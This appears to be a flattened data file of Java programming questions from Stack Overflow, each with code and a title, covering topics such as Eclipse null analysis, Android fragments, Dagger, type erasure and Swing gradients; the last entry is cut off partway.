NEW ELEMENT TYPE ? ( I understand that with java 8 it is good to fully utilise new language features , but why was needed to break compatibility ? For example javax.validation @ NotNull is now unusable as nullchecking annotation : - ( ( ( )",package test.nullcheckbug.core ; import javax.validation.constraints.NotNull ; public class Program { /** * This will fail to compile under java 7 ( null analysis works in STS * 3.6.2 ) . But under java 8 it does not show error in Eclipse Markers - * static analysis does not work ? ! * * @ return null which is not allowed */ @ NotNullpublic String fail ( ) { return null ; } /** * Simple main . * * @ param args * ignored args */public static void main ( String [ ] args ) { } },Null analysis in eclipse compatibility break between 7 and 8 +Java,"I have a web app that displays movie schedule details ( retrieved from a MySQL database ) when the user clicks on the movie poster.Bean : Servlet : JSP : Q U E S T I O N : It is adding the desired number of rows to the schedule table ( based on the available showtimes in the database ) , but the values in the EL are not appearing.Test println ( ) 's in the Servlet are appropriately getting the array values and hardcoded array indices per table data ( schedule.malls [ 0 ] instead of ctr ) works as it should be.Why are the values not displaying when placed in a for-loop ?","import java.sql.Date ; import java.sql.Time ; public class Schedule { private String [ ] malls ; private Integer [ ] cinemas ; private Double [ ] prices ; private Date [ ] dates ; private Time [ ] times ; // getters and setters } protected void doPost ( HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException { int movieId = request.getParameter ( `` movieid '' ) ! = null ? Integer.parseInt ( request.getParameter ( `` movieid '' ) ) : 0 ; if ( movieId ! = 0 ) { DatabaseManipulator dm = new DatabaseManipulator ( ) ; ... // get schedule details from database String [ ] malls = dm.getMallNames ( movieId ) ; Integer [ ] cinemas = dm.getCinemaNumbers ( movieId ) ; Double [ ] prices = dm.getMoviePrices ( movieId ) ; Date [ ] dates = dm.getShowDates ( movieId ) ; Time [ ] times = dm.getShowTimes ( movieId ) ; // assemble bean objects Schedule schedule = ScheduleAssembler.getInstance ( malls , cinemas , prices , dates , times ) ; // returns new session if it does not exist HttpSession session = request.getSession ( true ) ; // bind objects to session session.setAttribute ( `` schedule '' , schedule ) ; session.setAttribute ( `` times '' , times ) ; // for schedule row count // redirect to view schedule page response.sendRedirect ( `` view-schedule.jsp '' ) ; } else { // redirect when servlet is illegally accessed response.sendRedirect ( `` index.jsp '' ) ; } } < % @ page import= '' java.sql . * '' % > ... < body > ... < strong > VIEW MOVIE SCHEDULE < /strong > ... < table id= '' schedule '' > < tr > < td class= '' titlebg '' colspan= '' 5 '' > MOVIE SCHEDULE < /td > < /tr > < tr > < td class= '' catbg '' > Mall < /td > < td class= '' catbg '' > Cinema < /td > < td class= '' catbg '' > Price < /td > < td class= '' catbg '' > Date < /td > < td class= '' catbg '' > Time < /td > < /tr > < % Time [ ] times = ( Time [ ] ) session.getAttribute ( `` times '' ) ; int rowCount = times.length ; for ( int ctr = 0 ; ctr < rowCount ; ctr++ ) { % > < tr > < td > $ { schedule.malls [ ctr ] } < /td > < td class= '' cinema '' > $ { schedule.cinemas [ ctr ] } < /td > < td > PHP $ { schedule.prices [ ctr ] } < /td > < td > $ { schedule.dates [ ctr ] } < /td > < td > $ { schedule.times [ ctr ] } < /td > < /tr > < % } % > < /table > < /body >",Values not Displaying for Expression Language +Java,"I 've this cards game , in which I store all the players in a List.To find out who 's the player I want to act with , each player has a Card ( I can get the card name ) , a name ( I can get the player 's name ) , but to be unique each player has an ID.Now , at the beginning of my onCreate ( ) method , I find , and assign a player of the list to a Player , Player clairvoyant : The game switch between Night and Day . The Clairvoyant 's turn is during the night , and I used a switch to determine when 's who 's turn.Now , before starting the Clairvoyant 's turn , I check if he 's alive or not , in negative case , I simply skip his turn : And yet , I 've added Toasts to see when I kill players if they 're still alive , but even if the Player searched in the list is killed , the Clairvoyant player , previously created isn't.So basically , the player in the list with the clairvoyant card , is dead ; but the clairvoyant player , initialized before to have a reference to it before starting his turn , is still alive ! I do n't understand why . Is anything I 'm missing ? Is that I 've done a reference or not ? In this case , how should I create a reference to it ? EDIT : Now it all works fine , I have implemented the Parcelable interface on the Player Class and on the Card one too.The problem is when I get to the intent from ListPlayersVote Activity to the Game one ( the main one ) , the App crashes and I get this error : java.lang.NullPointerException : Attempt to invoke virtual method 'java.lang.String java.lang.Object.toString ( ) ' on a null object reference at android.widget.ArrayAdapter.createViewFromResource ( ArrayAdapter.java:401 ) [ ... ] // Many other links , skippedWhich is a simple NullPointer exception , but I get no links to my code for the error , instead I get all other links to other scripts ( Probably already made , not by me ) and this keeps me stuck , how am I suppose to fix the bug if I do n't get any link to my code ? ResourcesVote ActivityPlayer ClassHow I retrieve the ArrayLists passed , and check for their values ( this is a StartActivityForResult ( ) ) :","public void initializeCharacters ( ) { for ( Player player : players ) { if ( player.getCardName ( ) .equals ( `` Clairvoyant '' ) ) { clairvoyant = player ; } } case 2 : clairvoyant ( ) ; // Clairvoyant 's turn Toast.makeText ( Game.this , String.valueOf ( clairvoyant.getLifeStatus ( ) ) , Toast.LENGTH_SHORT ) .show ( ) ; if ( clairvoyant.getLifeStatus ( ) ) { /* -- - Let him choose -- -*/ Intent intent = new Intent ( this , ListPlayersClairvoyant.class ) ; Bundle bundle = new Bundle ( ) ; bundle.putSerializable ( `` PLAYERS '' , ( Serializable ) players ) ; intent.putExtras ( bundle ) ; startActivityForResult ( intent , REQUEST_CLAIRVOYANT ) ; /* -- -- -- -- -- -- -- -- -- -- - */ } nightInsideCounter++ ; if ( medium == null ) { nightInsideCounter++ ; } if ( guard == null ) { nightInsideCounter++ ; } break ; /* -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ /* -- -- -- -- -- If they want to VOTE -- -- -- -- -- */ /* -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ if ( requestCode == REQUEST_VOTE ) { if ( resultCode == Activity.RESULT_OK ) { // Get the Player clicked ArrayList < Player > highestList = data.getParcelableArrayListExtra ( `` HIGHEST '' ) ; ArrayList < Player > highestList1 = data.getParcelableArrayListExtra ( `` HIGHEST1 '' ) ; System.out.println ( `` [ 5 ] The players of the first list are `` + highestList.size ( ) + `` . `` ) ; System.out.println ( `` [ 6 ] The players of the second list are `` + highestList1.size ( ) + `` . `` ) ; // Add the most voted players to a signle List , highest highest.addAll ( highestList ) ; highestList.clear ( ) ; highest.addAll ( highestList1 ) ; highestList1.clear ( ) ; // Write the names in chat write ( `` Il villaggio ha i propri sospettati : '' ) ; for ( Player player : highest ) { write ( player.getName ( ) ) ; } System.out.println ( `` [ 7 ] The players chosen are `` + highest.size ( ) + `` . `` ) ; highest.clear ( ) ; } else if ( resultCode == Activity.RESULT_CANCELED ) { // Some stuff that will happen if there 's no result } }",Passing a reference in Java +Java,"When reading some documentation about assertions , I found : `` Enables assertions in general , but disables assertions in system classes . `` Which are the system classes ?",java -ea -dsa,Which are Java 's system classes ? +Java,"Does anybody know how to implement method_missing ( à la Ruby ) in Clojure ? E.g.It would be very useful for a DSL , if used correctly.Thanks in advance !",( defn method_missing [ name & args ] ( foo name args ) ),Clojure Method Missing +Java,"I 'm getting inconsistent results when converting Dates to LocalDates , around the year 200 . Using the following code to do the conversion : My ZoneId.systemDefault ( ) is Africa/Harare , which matches the CAT used in the test . The test case I run isMy expected output for this would be Or , if not that , at least consistently incorrect values . The actual results areSo it seems that the first one is being rolled back slightly , possibly the two hours corresponding to the CAT timezone ? But why does this only happen on the one case ? Doing the same experiment with the year 2000 does not produce the same error .","private LocalDate toLocalDate ( Date localDate ) { return LocalDateTime.ofInstant ( localDate.toInstant ( ) , ZoneId.systemDefault ( ) ) .toLocalDate ( ) ; } SimpleDateFormat simpleDateFormat = new SimpleDateFormat ( `` EEE MMM dd HH : mm : ss zzz yyyy '' , Locale.US ) ; String dateString = `` Tue Jan 01 00:00:00 CAT 200 '' ; String dateString2 = `` Tue Jan 01 00:00:00 CAT 201 '' ; String dateString3 = `` Wed Dec 31 00:00:00 CAT 200 '' ; System.out.println ( toLocalDate ( simpleDateFormat.parse ( dateString ) ) ) ; System.out.println ( toLocalDate ( simpleDateFormat.parse ( dateString2 ) ) ) ; System.out.println ( toLocalDate ( simpleDateFormat.parse ( dateString3 ) ) ) ; 0200-01-010201-01-010200-12-31 0199-12-310201-01-010200-12-31",Converting Date to LocalDate returning strange results around 200AD +Java,"I want to print russian and german characters in windows console.So I wrote a small test program to understand how well it works : Then I started cmd.exe , changed its font to Lucida Console , which supports Unicode , changed code page to Unicode with `` chcp 65001 '' and executed my program.The german and russian characters were printed but there was a little more text than I expected ( underlined with red ) : But the text is printed correctly in the Eclipse console . Is there a way to print it correctly in windows console ? I use Windows 7.I 've just solved the problem with JNI , but it is still interesting whether it is doable with pure java .","PrintStream ps = new PrintStream ( System.out , false , `` UTF-8 '' ) ; ps.println ( `` öäüß гджщ '' ) ;",More unicode characters in windows console than expected +Java,"Please go through the entire question to have complete idea . First let the class Box is given as follows : -Generic class Util as given below : -Above code compiles and executes just fine , my discomfort lies here : If we add static modifier to method and make it then compiler will complain that Can not make a static reference to the non-static type Pair whereas similar method which is also static but does n't complain . Even though we are not using type parameter < T > in both method but a big but in method we are talking from eq-1 the argument it uses is from inner class Pair ( so reasoning of my ambiguity may be explained with reference to this feature ) . But still ; logically , I feel that adding modifier static to method in eq-1 should not generate compile time error because wherever the method in eq-2 is called it will be responsibility of that method to call with correct argument to method in eq-2 and it should be allowed to be called like a static method . Question : -What is the explanation for not using static modifier for the method : Thanks for the help .","public class Box < T > { private T t ; public void set ( T t ) { this.t = t ; System.out.println ( `` value : \n '' ) ; System.out.printf ( `` % s '' , t.toString ( ) ) ; } public T get ( ) { return t ; } static int retInt ( ) { return 5 ; } public < U extends Number > void inspect ( U u ) { System.out.println ( `` T : `` + t.getClass ( ) .getName ( ) ) ; System.out.println ( `` U : `` + u.getClass ( ) .getName ( ) ) ; } } public class Util < T > { private T t ; //Generic method public < K , V > boolean compare ( Pair < K , V > p1 , Pair < K , V > p2 ) { return p1.getKey ( ) .equals ( p2.getKey ( ) ) & & p1.getValue ( ) .equals ( p2.getValue ( ) ) ; } /* Static generic or non-generic methods can be declared in generic class but they can not make use of generic parameter type ( as generics static methods using class type variable must know the type argument ( i.e value of type parameter ) ; and knowledge of type argument is possible only when object of same generic class are instantiated ( meaning assigning value of generic type parameter < T > or better to say declared object have it 's type argument ; for example as in List < T > replace T with Integer , String , Float etc ) ; but static method may be called without having instance of class ; so such declaration for static generic method are not allowed ) here it is < T > ; like for example as shown below public static int checkFun ( T t ) { return 5 ; } // this generate compiler error complaining `` can not make static // reference to non-static type T '' . */ public static < K > boolean cmp ( Box < K > b1 , Box < K > b2 ) { // implement comparator to compare but here return true ; } // Inner class Pair public class Pair < K , V > { private K key ; private V value ; // Generic constructor public Pair ( K key , V value ) { this.key = key ; this.value = value ; } public void setKey ( K key ) { int i = 6 ; if ( i > 4 || i < 9 ) ; this.key = key ; } public void setValue ( V value ) { this.value = value ; } public K getKey ( ) { return key ; } public V getValue ( ) { return value ; } } public void main1 ( ) { //The complete syntax for invoking this method would be : // < Integer , String > new Util < T > ( ) . Pair < Integer , String > p1 = new Pair < Integer , String > ( 1 , `` apple '' ) ; Pair < Integer , String > p2 = new Pair < Integer , String > ( 2 , `` pear '' ) ; boolean same = compare ( p1 , p2 ) ; //boolean same = true ; if ( same ) System.out.println ( `` it is true : they are the same '' ) ; else System.out.println ( `` nah ! they are not the same ... '' ) ; //boolean sm = compare ( ) ; } public static void main ( String [ ] args ) /*throws FileNotFoundException */ { //new Util < Integer > ( ) . main1 ( ) ; Util < Integer > util = new Util < > ( ) ; util.main1 ( ) ; } } public < K , V > boolean compare ( Pair < K , V > p1 , Pair < K , V > p2 ) -- -- -- - ( 1 ) // called in method main1 ( ) public static < K , V > boolean compare ( Pair < K , V > p1 , Pair < K , V > p2 ) -- -- -- - ( 2 ) public static < K > boolean cmp ( Box < K > b1 , Box < K > b2 ) -- -- -- - ( 3 ) public < K , V > boolean compare ( Pair < K , V > p1 , Pair < K , V > p2 )",Why ca n't I statically reference an inner class 's static method on a generic class ? +Java,"I occasionally get NullPointerException when entering fragment . It happens when the app was in the background for a long time and then I open it and swipe to this fragment.MainActivity viewPager : Log : UPDATE : I eventually used : At my MainActivity , and used onResume ( ) at each fragment . And this solution for the adapter : http : //thedeveloperworldisyours.com/android/update-fragment-viewpager/","public class SummaryFragment extends Fragment implements FragmentLifecycle { private static final String TAG = `` DTAG '' ; private DateFormat dateFormatName ; private Preference prefs ; private List < String > monthList ; private TextView totalTimeFullTv ; private TextView totalTimeNetTv ; private TextView averageTimeTv ; private TextView overUnderTv ; private TextView minTimeTv ; private TextView maxTimeTv ; private TextView vacationsTv ; private TextView sickTv ; private TextView headlineTv ; private TextView overUnderTvH ; private OnFragmentInteractionListener mListener ; public SummaryFragment ( ) { // Required empty public constructor } public static SummaryFragment newInstance ( String param1 , String param2 ) { SummaryFragment fragment = new SummaryFragment ( ) ; return fragment ; } @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { View RootView = inflater.inflate ( R.layout.fragment_summary , container , false ) ; dateFormatName = new SimpleDateFormat ( getResources ( ) .getString ( R.string.month_text ) ) ; monthList = Arrays.asList ( new DateFormatSymbols ( ) .getMonths ( ) ) ; prefs = new Preference ( GeneralAdapter.getContext ( ) ) ; totalTimeFullTv = RootView.findViewById ( R.id.textView_sum_ttf ) ; totalTimeNetTv = RootView.findViewById ( R.id.textView_sum_ttn ) ; averageTimeTv = RootView.findViewById ( R.id.textView_sum_av ) ; overUnderTv = RootView.findViewById ( R.id.textView_sum_ou ) ; overUnderTvH = RootView.findViewById ( R.id.textView_sum_ou_h ) ; minTimeTv = RootView.findViewById ( R.id.textView_sum_min ) ; maxTimeTv = RootView.findViewById ( R.id.textView_sum_max ) ; vacationsTv = RootView.findViewById ( R.id.textView_sum_vac ) ; sickTv = RootView.findViewById ( R.id.textView_sum_sick ) ; headlineTv= RootView.findViewById ( R.id.textView_sum_headline ) ; return RootView ; } private void refreshData ( ) { if ( prefs == null ) { prefs = new Preference ( GeneralAdapter.getContext ( ) ) ; } String month = prefs.getString ( Preference.CURRENT_MONTH ) ; MonthData monthData = Calculators.CalculateLocalData ( MainActivity.db.getAllDays ( month ) ) ; totalTimeFullTv.setText ( monthData.getTotalTimeFull ( ) ) ; //Crash here totalTimeNetTv.setText ( monthData.getTotalTimeNet ( ) ) ; averageTimeTv.setText ( monthData.getAverageTime ( ) ) ; overUnderTv.setText ( monthData.getOverUnder ( ) ) ; if ( monthData.getOverUnderFloat ( ) < 0 ) { overUnderTvH.setText ( R.string.sum_over_time_neg ) ; overUnderTv.setTextColor ( ContextCompat.getColor ( GeneralAdapter.getContext ( ) , R.color.negative_color ) ) ; } else { overUnderTvH.setText ( R.string.sum_over_time_pos ) ; overUnderTv.setTextColor ( ContextCompat.getColor ( GeneralAdapter.getContext ( ) , R.color.positive_color ) ) ; } minTimeTv.setText ( monthData.getMinTime ( ) ) ; maxTimeTv.setText ( monthData.getMaxTime ( ) ) ; vacationsTv.setText ( `` '' +monthData.getVacations ( ) ) ; sickTv.setText ( `` '' +monthData.getSick ( ) ) ; headlineTv.setText ( month ) ; } public void onButtonPressed ( Uri uri ) { if ( mListener ! = null ) { mListener.onFragmentInteraction ( uri ) ; } } @ Override public void onAttachFragment ( Fragment childFragment ) { super.onAttachFragment ( childFragment ) ; } @ Override public void onDetach ( ) { super.onDetach ( ) ; mListener = null ; } @ Override public void onPauseFragment ( ) { } @ Override public void onResumeFragment ( ) { refreshData ( ) ; } public interface OnFragmentInteractionListener { // TODO : Update argument type and name void onFragmentInteraction ( Uri uri ) ; } } viewPager.addOnPageChangeListener ( new ViewPager.OnPageChangeListener ( ) { int currentPosition = 0 ; @ Override public void onPageScrolled ( int position , float positionOffset , int positionOffsetPixels ) { } @ Override public void onPageSelected ( int position ) { FragmentLifecycle fragmentToHide = ( FragmentLifecycle ) adapter.getItem ( currentPosition ) ; fragmentToHide.onPauseFragment ( ) ; FragmentLifecycle fragmentToShow = ( FragmentLifecycle ) adapter.getItem ( position ) ; fragmentToShow.onResumeFragment ( ) ; //Crash start currentPosition = position ; } @ Override public void onPageScrollStateChanged ( int state ) { } } ) ; E/AndroidRuntime : FATAL EXCEPTION : main Process : michlind.com.workcalendar , PID : 25038 java.lang.NullPointerException : Attempt to invoke virtual method 'void android.widget.TextView.setText ( java.lang.CharSequence ) ' on a null object reference at michlind.com.workcalendar.mainfragments.SummaryFragment.refreshData ( SummaryFragment.java:99 ) at michlind.com.workcalendar.mainfragments.SummaryFragment.onResumeFragment ( SummaryFragment.java:147 ) at michlind.com.workcalendar.activities.MainActivity.onPageSelected ( MainActivity.java:84 ) at android.support.v4.view.ViewPager.dispatchOnPageSelected ( ViewPager.java:1941 ) at android.support.v4.view.ViewPager.scrollToItem ( ViewPager.java:680 ) at android.support.v4.view.ViewPager.setCurrentItemInternal ( ViewPager.java:664 ) at android.support.v4.view.ViewPager.onTouchEvent ( ViewPager.java:2257 ) at android.view.View.dispatchTouchEvent ( View.java:11776 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2962 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2643 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at android.view.ViewGroup.dispatchTransformedTouchEvent ( ViewGroup.java:2968 ) at android.view.ViewGroup.dispatchTouchEvent ( ViewGroup.java:2657 ) at com.android.internal.policy.DecorView.superDispatchTouchEvent ( DecorView.java:448 ) at com.android.internal.policy.PhoneWindow.superDispatchTouchEvent ( PhoneWindow.java:1829 ) at android.app.Activity.dispatchTouchEvent ( Activity.java:3307 ) at android.support.v7.view.WindowCallbackWrapper.dispatchTouchEvent ( WindowCallbackWrapper.java:68 ) at com.android.internal.policy.DecorView.dispatchTouchEvent ( DecorView.java:410 ) at android.view.View.dispatchPointerEvent ( View.java:12015 ) at android.view.ViewRootImpl $ ViewPostImeInputStage.processPointerEvent ( ViewRootImpl.java:4795 ) at android.view.ViewRootImpl $ ViewPostImeInputStage.onProcess ( ViewRootImpl.java:4609 ) at android.view.ViewRootImpl $ InputStage.deliver ( ViewRootImpl.java:4147 ) at android.view.ViewRootImpl $ InputStage.onDeliverToNext ( ViewRootImpl.java:4200 ) at android.view.ViewRootImpl $ InputStage.forward ( ViewRootImpl.java:4166 ) at android.view.ViewRootImpl $ AsyncInputStage.forward ( ViewRootImpl.java:4293 ) at android.view.ViewRootImpl $ InputStage.apply ( ViewRootImpl.java:4174 ) at android.view.ViewRootImpl $ AsyncInputStage.apply ( ViewRootImpl.java:4350 ) at android.view.ViewRootImpl $ InputStage.deliver ( ViewRootImpl.java:4147 ) at android.view.ViewRootImpl $ InputStage.onDeliverToNext ( ViewRootImpl.java:4200 ) at android.view.ViewRootImpl $ InputStage.forward ( ViewRootImpl.java:4166 ) at android.view.ViewRootImpl $ InputStage.apply ( ViewRootImpl.java:4174 ) at android.view.ViewRootImpl $ InputStage.deliver ( ViewRootImpl.java:4147 ) at android.view.ViewRootImpl.deliverInputEvent ( ViewRootImpl.java:6661 ) at android.view.ViewRootImpl.doProcessInputEvents ( ViewRootImpl.java:6635 ) at android.view.ViewRootImpl.enqueueInputEvent ( ViewRootImpl.java:6596 ) at android.view.ViewRootImpl $ WindowInputEventReceiver.onInputEvent ( ViewRootImpl.java:6764 ) at android.view.InputEventReceiver.dispatchInputEvent ( InputEventReceiver.java:186 ) at android.os.MessageQueue.nativePollOnce ( Native Method ) at android.os.MessageQueue.next ( MessageQueue.java:325 ) at android.os.Looper.loop ( Looper.java:142 ) at android.app.ActivityThread.main ( ActivityThread.java:6494 ) @ Overridepublic void onPageSelected ( int position ) { Fragment fragment = adapter.getFragment ( position ) ; if ( fragment ! = null ) { fragment.onResume ( ) ; } }",Occasional NPE when accessing fragment 's view +Java,"I 'm developing a library to generate classes using annotations and processors . The generated classes should use Gson library from google.My question is : Where should I add the Gson dependency ? I 'm currently adding it into the processor build.gradle but when the classes are generated , Gson is not found and Android Studio is suggesting to add it to the app module.build.gradle of the processor : build.gradle of the app : Any help would be greatly appreciated , thanks ! P.S . The project is meant to be a library . I expect the users to only include my library in their gradle file , not the `` sub dependency '' .",implementation project ( ' : lib-annotation ' ) implementation 'com.squareup : javapoet:1.9.0'implementation 'com.google.code.gson : gson:2.8.1'implementation 'com.google.auto.service : auto-service:1.0-rc3 ' implementation project ( ' : lib-annotation ' ) annotationProcessor project ( ' : lib-processor ' ),Use a Library in the processor 's generated classes +Java,"I have this Dagger module . I want to understand the generated code so I can verify that my Dagger configuration is optimal . Here 's the generated code ( Dagger 2.14.1 ) : There are two functions which do almost the same thing : the instance method get ( ) , and the static method proxyProvideRobotoLight ( ) .Why has Dagger generated two versions of this code , which both call the module 's provide ( ) method statically ? Ca n't one call the other ? ( Incidentally , I do realise that I no longer need to bundle fonts in my app assets . That 's not the question here . )","@ Modulepublic class TypefaceModule { @ Provides @ Singleton @ Named ( `` Roboto Light '' ) static Typeface provideRobotoLight ( AssetManager assets ) { return Typeface.createFromAsset ( assets , `` fonts/Roboto-Light.ttf '' ) ; } } public final class TypefaceModule_ProvideRobotoLightFactory implements Factory < Typeface > { private final Provider < AssetManager > assetsProvider ; public TypefaceModule_ProvideRobotoLightFactory ( Provider < AssetManager > assetsProvider ) { this.assetsProvider = assetsProvider ; } @ Override public Typeface get ( ) { return Preconditions.checkNotNull ( TypefaceModule.provideRobotoLight ( assetsProvider.get ( ) ) , `` Can not return null from a non- @ Nullable @ Provides method '' ) ; } public static TypefaceModule_ProvideRobotoLightFactory create ( Provider < AssetManager > assetsProvider ) { return new TypefaceModule_ProvideRobotoLightFactory ( assetsProvider ) ; } public static Typeface proxyProvideRobotoLight ( AssetManager assets ) { return Preconditions.checkNotNull ( TypefaceModule.provideRobotoLight ( assets ) , `` Can not return null from a non- @ Nullable @ Provides method '' ) ; } }",Purpose of proxyProvide in Dagger 2 generated code +Java,"This question was inducted by this StackOverflow question about unsafe casts : Java Casting method without knowing what to cast to . While answering the question I encountered this behaviour I could n't explain based on purely the specificationI found the following statement in The Java Tutorials at theOracle docs : Insert type casts if necessary to preserve type safety . The Java Tutorials : Type Erasure It is not explained what `` if necessary '' means exactly , andI 've found no mention about these casts in the Java LanguageSpecification at all , so I started to experiment.Let 's look at the following piece of code : Compiled with javac and decompiled with the Java Decompiler : I can see that there is a cast which ensures type safety in the first case , but in the second case it is omitted . It isfine of course , because I want to store the return value in an Objecttyped variable , so the cast is not strictly necessary as per type safety . However it leads to an interesting behaviour with unsafe casts : Compiled and decompiled , I see no type cast to ensure correct return type at runtime : This means that if a generic function should return an object of a giventype , it is not guaranteed it will return that type ultimately . Anapplication using the above code will fail at the first point where it triesto cast the return value to an Integer if it does so at all , so I feel likeit breaks the fail-fast principle.What are the exact rules of the compiler inserting this cast duringcompilation that ensures type safety and where are those rules specified ? EDIT : I see that the compiler will not dig into the code and try to prove that the generic code really returns what it should , but it could insert an assertation , or at least a type cast ( which it already does in specific cases , as seen in the first example ) to ensure correct return type , so the latter would throw a ClassCastException :","// Java sourcepublic static < T > T identity ( T x ) { return x ; } public static void main ( String args [ ] ) { String a = identity ( `` foo '' ) ; System.out.println ( a.getClass ( ) .getName ( ) ) ; // Prints 'java.lang.String ' Object b = identity ( `` foo '' ) ; System.out.println ( b.getClass ( ) .getName ( ) ) ; // Prints 'java.lang.String ' } // Decompiled codepublic static void main ( String [ ] paramArrayOfString ) { // The compiler inserted a cast to String to ensure type safety String str = ( String ) identity ( `` foo '' ) ; System.out.println ( str.getClass ( ) .getName ( ) ) ; // The compiler omitted the cast , as it is not needed // in terms of runtime type safety , but it actually could // do an additional check . Is it some kind of optimization // to decrease overhead ? Where is this behaviour specified ? Object localObject1 = identity ( `` foo '' ) ; System.out.println ( localObject1.getClass ( ) .getName ( ) ) ; } public class Erasure { public static < T > T unsafeIdentity ( Object x ) { return ( T ) x ; } public static void main ( String args [ ] ) { // I would expect c to be either an Integer after this // call , or a ClassCastException to be thrown when the // return value is not Integer Object c = Erasure. < Integer > unsafeIdentity ( `` foo '' ) ; System.out.println ( c.getClass ( ) .getName ( ) ) ; // but Prints 'java.lang.String ' } } // The type of the return value of unsafeIdentity is not checked , // just as in the second example.Object localObject2 = unsafeIdentity ( `` foo '' ) ; System.out.println ( localObject2.getClass ( ) .getName ( ) ) ; // It could compile to this , throwing ClassCastException : Object localObject2 = ( Integer ) unsafeIdentity ( `` foo '' ) ;",When is generic return value of function casted after type erasure ? +Java,"I have rewritten the question ( the question remains the same , just with less background noise ) in hopes of creating less confusion directed at all the wrong things - due to this , some of the comments below may seem out of context.Analyzing Java bytecode , what is the easiest way to find all the possible reference types given as parameters for a given Java bytecode instruction ? I 'm interested in the type of the reference , that is , that a given putfield instruction will receive an Integer , or that it might receive an Integer or a Float , etc.For example , consider this code block : We can deduce that the putfield instruction at pc 11 will receive a ref type of Integer.Do any of the bytecode/code analysis libraries do this for me , or do I have to write this myself ? The ASM project has an Analyzer , which seems like it might do part of the work for me , but really not enough to justify switching to using it.EDIT : I have done my homework and have studied the Java VM Spec .",0 : aload_1 1 : invokestatic # 21 ; //Method java/lang/Integer.valueOf : ( Ljava/lang/String ; ) Ljava/lang/Integer ; 4 : astore_2 5 : aload_2 6 : ifnull 17 9 : aload_0 10 : aload_2 11 : putfield # 27 ; //Field value : Ljava/lang/Number ; 14 : goto 25 17 : aload_0 18 : iconst_0 19 : invokestatic # 29 ; //Method java/lang/Integer.valueOf : ( I ) Ljava/lang/Integer ; 22 : putfield # 27 ; //Field value : Ljava/lang/Number ; 25 : return 0 : aload pushes ref type of String ( the method param ) 1 : invokestatic pops the ref type and pushes a ref type of Integer ( invoked method return type ) 4 : astore pops the ref type of Integer and stores it in local variable 25 : aload pushes the ref type of Integer from local variable 26 : ifnull pops the ref type of Integer and conditionally jumps to pc 179 : aload pushes `` this '' 10 : aload pushes the ref type of Integer11 : putfield : we know we have a ref type of Integer that the instruction will put in field,How to statically analyze reference types passed to each bytecode instruction ? +Java,"I attempted to replicate this component ( at the bottom of the post ) , but I ca n't seem to get it to look nice.So I 'm wondering , how do I replicate this gradient paint ? Or if it is n't the gradient paint , what do I do to get similar results ? My attempt turned out very flat black compared to this component . Also it had the JFrame options ( close , minimize , etc ) and it did n't have a 'rounded ' look to the components . I 'm looking for someone who can improve what I have and explain where I went wrong . I know I can simply use an already made Look and Feel , but I would like to get my example project as close as possible to the BitDefender GUI in the image excluding the text . ( I can provide code if need be ) Also notice I skipped the panel between Background and the 'Virus Shield ' , 'Auto Scan ' , 'My BitDefender ' panels . I did this mainly because I wanted to keep my SSCCE as small as possible.Also I want to note that setting the insets to gbc.insets = new Insets ( 2,10,2,10 ) ; on the 3 TopPanels makes it look much closer to the spacing of the BitDefender GUI . ( I just did n't have the time to upload the picture at the moment . So I left the code as is , but I do realize that it can be updated to the above insets.Edit - Updated with more source Here is my code / SSCCE ( it is 3 separate classes , but I consilidated them into one .java ) Thanks JoopEggen for pointing out my issue with colors on the GradientPaint . It helped out quite a bit . I 'm still looking for someone to put together a better/closer looking example . This is my first go at overriding the paintComponent in such a way .","package testgui ; import java.awt . * ; import javax.swing.BorderFactory ; import javax.swing.JFrame ; import javax.swing.JLabel ; import javax.swing.JPanel ; public class TestGui { public TestGui ( ) { JFrame frame = new JFrame ( ) ; MidPanel midPanel = new MidPanel ( ) ; TopPanel topPanel1 = new TopPanel ( ) ; TopPanel topPanel2 = new TopPanel ( ) ; TopPanel topPanel3 = new TopPanel ( ) ; JLabel appName = new JLabel ( `` MyApplication '' ) ; JLabel verNum = new JLabel ( `` version 1.0 '' ) ; Font verFont = new Font ( `` Tahoma '' , Font.BOLD , 11 ) ; Font nameFont = new Font ( `` Tahoma '' , Font.BOLD , 14 ) ; GridBagConstraints gbc = new GridBagConstraints ( ) ; appName.setForeground ( Color.WHITE ) ; appName.setFont ( nameFont ) ; verNum.setForeground ( Color.WHITE ) ; verNum.setFont ( verFont ) ; //add program name and version number gbc.gridx = 0 ; gbc.gridy = 0 ; gbc.anchor = GridBagConstraints.WEST ; gbc.insets = new Insets ( 5 , 5 , 5 , 5 ) ; midPanel.add ( appName , gbc ) ; gbc.gridx = 0 ; gbc.gridy = 1 ; gbc.anchor = GridBagConstraints.WEST ; gbc.insets = new Insets ( 5 , 5 , 5 , 5 ) ; midPanel.add ( verNum , gbc ) ; //add 3 example top panels to midpanel gbc.gridx = 0 ; gbc.gridy = 2 ; gbc.anchor = GridBagConstraints.NORTHWEST ; gbc.insets = new Insets ( 1,2,1,2 ) ; gbc.fill = GridBagConstraints.HORIZONTAL ; gbc.weightx = 1.0 ; midPanel.add ( topPanel1 , gbc ) ; gbc.gridx = 0 ; gbc.gridy = 3 ; gbc.insets = new Insets ( 1,2,1,2 ) ; gbc.anchor = GridBagConstraints.NORTHWEST ; gbc.fill = GridBagConstraints.HORIZONTAL ; gbc.weightx = 1.0 ; midPanel.add ( topPanel2 , gbc ) ; gbc.gridx = 